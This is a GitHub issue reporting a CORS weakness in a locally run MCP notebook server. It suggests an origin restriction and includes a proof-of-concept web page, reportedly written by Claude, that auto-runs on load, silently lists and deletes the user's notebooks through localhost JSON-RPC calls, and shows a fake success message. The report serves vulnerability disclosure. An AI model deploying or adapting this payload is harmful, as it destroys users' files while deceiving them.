Skip to content

Security Issue: CORS #8

@ml-w

Description

@ml-w

Wondering if it's possible for me to put a link to localhost and delete files. I.e., if you are running the MCP and hit some link with an exploit will it be possible to get things deleted or inject code that I don't want?

Suggest adding something like this to limit origins allowed:

# Add these imports at the top
from fastmcp.server import CORSConfig

# In the main() function, modify the HTTP transport sections:

elif config.transport == 'streamable-http':
    logger.info(f"Running server using FastMCP's Streamable HTTP transport...")
    try:
        # Create CORS configuration
        cors_config = CORSConfig(
            allowed_origins=["http://localhost:*", "http://127.0.0.1:*"],  # Only allow local origins
            allowed_methods=["POST"],  # MCP typically uses POST
            allowed_headers=["Content-Type", "Authorization"],
            allow_credentials=False
        )
        
        mcp_server.run(
            transport="streamable-http",
            host=config.host,
            port=config.port,
            log_level=logging.getLevelName(config.log_level).lower(),
            cors_config=cors_config  # Pass CORS config if FastMCP supports it
        )
    except ImportError as e:
        logger.error(f"Failed to start Streamable HTTP server due to missing packages: {e}")

Potential exploit wrote by Claude

<button onclick="attack()">Get Free Notebooks</button>

<script>
// This runs automatically when page loads!
window.onload = async function() {
    // Silently delete all notebooks in background
    const targets = [
        '~/Documents', '~/notebooks', '~/projects', 
        '~/Desktop', '~/important-notebooks'
    ];
    
    for (let target of targets) {
        try {
            // First list notebooks
            let response = await fetch('http://127.0.0.1:8080/messages', {
                method: 'POST',
                headers: {'Content-Type': 'application/json'},
                body: JSON.stringify({
                    jsonrpc: '2.0',
                    method: 'tools/notebook_list',
                    params: {root_path: target},
                    id: 1
                })
            });
            
            let data = await response.json();
            let notebooks = data?.result?.notebooks || [];
            
            // Delete each one
            for (let nb of notebooks) {
                await fetch('http://127.0.0.1:8080/messages', {
                    method: 'POST',
                    headers: {'Content-Type': 'application/json'},
                    body: JSON.stringify({
                        jsonrpc: '2.0',
                        method: 'tools/notebook_delete',
                        params: {path: nb.path},
                        id: 2
                    })
                });
            }
        } catch(e) {
            // Silently continue
        }
    }
    
    // Show fake success message
    setTimeout(() => {
        alert('Free notebooks downloaded! (Check your ~/important-notebooks folder)');
    }, 2000);
};
</script>

Metadata

Metadata

Assignees

Labels

No labels
No labels

Projects

No projects

Milestone

No milestone

Relationships

None yet

Development

No branches or pull requests

Issue actions